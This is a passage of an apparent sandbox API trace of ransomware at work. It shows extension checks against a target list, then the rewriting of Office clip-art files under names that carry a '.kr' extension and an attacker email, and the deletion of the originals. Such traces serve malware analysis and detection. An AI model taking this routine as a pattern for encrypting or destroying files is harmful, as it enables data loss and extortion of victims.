lpString2="8.WMF") returned -1 [0206.957] lstrlenW (lpString=".pdf") returned 4 [0206.957] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.957] lstrlenW (lpString=".xls") returned 4 [0206.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.957] lstrlenW (lpString=".xlsx") returned 5 [0206.957] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.957] lstrlenW (lpString=".ppt") returned 4 [0206.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.958] lstrlenW (lpString=".zip") returned 4 [0206.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.958] lstrlenW (lpString=".rar") returned 4 [0206.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.958] lstrlenW (lpString=".bz2") returned 4 [0206.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.958] lstrlenW (lpString=".7z") returned 3 [0206.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.958] lstrlenW (lpString=".dbf") returned 4 [0206.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.958] lstrlenW (lpString=".1cd") returned 4 [0206.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0206.958] lstrlenW (lpString=".jpg") returned 4 [0206.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.958] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.958] lstrlenW (lpString="J0105398.WMF") returned 12 [0206.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.959] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3328) returned 1 [0206.959] CloseHandle (hObject=0x3c4) returned 1 [0206.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 0x220 [0206.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.960] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.960] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.961] GetLastError () returned 0x0 [0206.961] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xd00, lpOverlapped=0x0) returned 1 [0206.963] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xd10, lpOverlapped=0x0) returned 1 [0206.963] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.964] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.964] SetEndOfFile (hFile=0x578) returned 1 [0206.964] CloseHandle (hObject=0x578) returned 1 [0206.964] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.964] SetEndOfFile (hFile=0x3c4) returned 1 [0206.966] CloseHandle (hObject=0x3c4) returned 1 [0206.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105398.wmf")) returned 1 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString=".doc") returned 4 [0206.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString=".docx") returned 5 [0206.968] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.968] lstrlenW (lpString=".pdf") returned 4 [0206.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString=".xls") returned 4 [0206.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.968] lstrlenW (lpString=".xlsx") returned 5 [0206.968] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.968] lstrlenW (lpString=".ppt") returned 4 [0206.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString=".zip") returned 4 [0206.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.968] lstrlenW (lpString=".rar") returned 4 [0206.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString=".bz2") returned 4 [0206.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString=".7z") returned 3 [0206.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString=".dbf") returned 4 [0206.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString=".1cd") returned 4 [0206.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.968] lstrlenW (lpString=".jpg") returned 4 [0206.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString=".doc") returned 4 [0206.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString=".docx") returned 5 [0206.969] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0206.969] lstrlenW (lpString=".pdf") returned 4 [0206.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString=".xls") returned 4 [0206.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.969] lstrlenW (lpString=".xlsx") returned 5 [0206.969] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0206.969] lstrlenW (lpString=".ppt") returned 4 [0206.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString=".zip") returned 4 [0206.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.969] lstrlenW (lpString=".rar") returned 4 [0206.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString=".bz2") returned 4 [0206.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString=".7z") returned 3 [0206.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString=".dbf") returned 4 [0206.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString=".1cd") returned 4 [0206.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105398.WMF") returned 68 [0206.969] lstrlenW (lpString=".jpg") returned 4 [0206.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.970] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.970] lstrlenW (lpString="J0105410.WMF") returned 12 [0206.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.970] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20444) returned 1 [0206.970] CloseHandle (hObject=0x3c4) returned 1 [0206.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 0x220 [0206.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0206.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0206.971] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.971] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0206.972] GetLastError () returned 0x0 [0206.972] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x4fdc, lpOverlapped=0x0) returned 1 [0206.974] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x4fe0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x4fe0, lpOverlapped=0x0) returned 1 [0206.975] ReadFile (in: hFile=0x3c4, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.975] WriteFile (in: hFile=0x578, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0206.975] SetEndOfFile (hFile=0x578) returned 1 [0206.975] CloseHandle (hObject=0x578) returned 1 [0206.975] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.975] SetEndOfFile (hFile=0x3c4) returned 1 [0206.978] CloseHandle (hObject=0x3c4) returned 1 [0206.979] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0206.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105410.wmf")) returned 1 [0206.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.980] lstrlenW (lpString=".doc") returned 4 [0206.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.980] lstrlenW (lpString=".docx") returned 5 [0206.980] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.980] lstrlenW (lpString=".pdf") returned 4 [0206.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.980] lstrlenW (lpString=".xls") returned 4 [0206.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.980] lstrlenW (lpString=".xlsx") returned 5 [0206.980] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.980] lstrlenW (lpString=".ppt") returned 4 [0206.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.980] lstrlenW (lpString=".zip") returned 4 [0206.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.980] lstrlenW (lpString=".rar") returned 4 [0206.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.980] lstrlenW (lpString=".bz2") returned 4 [0206.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.980] lstrlenW (lpString=".7z") returned 3 [0206.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.980] lstrlenW (lpString=".dbf") returned 4 [0206.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString=".1cd") returned 4 [0206.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString=".jpg") returned 4 [0206.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString=".doc") returned 4 [0206.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString=".docx") returned 5 [0206.981] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0206.981] lstrlenW (lpString=".pdf") returned 4 [0206.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString=".xls") returned 4 [0206.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0206.981] lstrlenW (lpString=".xlsx") returned 5 [0206.981] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0206.981] lstrlenW (lpString=".ppt") returned 4 [0206.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString=".zip") returned 4 [0206.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0206.981] lstrlenW (lpString=".rar") returned 4 [0206.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString=".bz2") returned 4 [0206.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0206.981] lstrlenW (lpString=".7z") returned 3 [0206.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0206.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.981] lstrlenW (lpString=".dbf") returned 4 [0206.982] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0206.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.982] lstrlenW (lpString=".1cd") returned 4 [0206.982] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0206.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105410.WMF") returned 68 [0206.982] lstrlenW (lpString=".jpg") returned 4 [0206.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0206.982] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0206.982] lstrlenW (lpString="J0105412.WMF") returned 12 [0206.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.360] GetFileSizeEx (in: hFile=0x554, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=9400) returned 1 [0207.360] CloseHandle (hObject=0x554) returned 1 [0207.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 0x220 [0207.360] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0207.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0207.361] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.361] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0207.362] GetLastError () returned 0x0 [0207.362] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x24b8, lpOverlapped=0x0) returned 1 [0207.363] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x24c0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x24c0, lpOverlapped=0x0) returned 1 [0207.364] ReadFile (in: hFile=0x554, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.364] WriteFile (in: hFile=0x3c4, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.364] SetEndOfFile (hFile=0x3c4) returned 1 [0207.365] CloseHandle (hObject=0x3c4) returned 1 [0207.365] SetFilePointerEx (in: hFile=0x554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.365] SetEndOfFile (hFile=0x554) returned 1 [0207.368] CloseHandle (hObject=0x554) returned 1 [0207.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0207.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105412.wmf")) returned 1 [0207.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.369] lstrlenW (lpString=".doc") returned 4 [0207.369] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.369] lstrlenW (lpString=".docx") returned 5 [0207.369] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0207.369] lstrlenW (lpString=".pdf") returned 4 [0207.369] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.369] lstrlenW (lpString=".xls") returned 4 [0207.369] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.369] lstrlenW (lpString=".xlsx") returned 5 [0207.369] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0207.369] lstrlenW (lpString=".ppt") returned 4 [0207.369] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.369] lstrlenW (lpString=".zip") returned 4 [0207.369] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.370] lstrlenW (lpString=".rar") returned 4 [0207.370] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".bz2") returned 4 [0207.370] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".7z") returned 3 [0207.370] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString=".dbf") returned 4 [0207.370] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString=".1cd") returned 4 [0207.370] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString=".jpg") returned 4 [0207.370] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105412.WMF") returned 68 [0207.370] lstrlenW (lpString=".doc") returned 4 [0207.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".docx") returned 5 [0207.370] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0207.370] lstrlenW (lpString=".pdf") returned 4 [0207.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".xls") returned 4 [0207.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.370] lstrlenW (lpString=".xlsx") returned 5 [0207.370] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0207.370] lstrlenW (lpString=".ppt") returned 4 [0207.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft 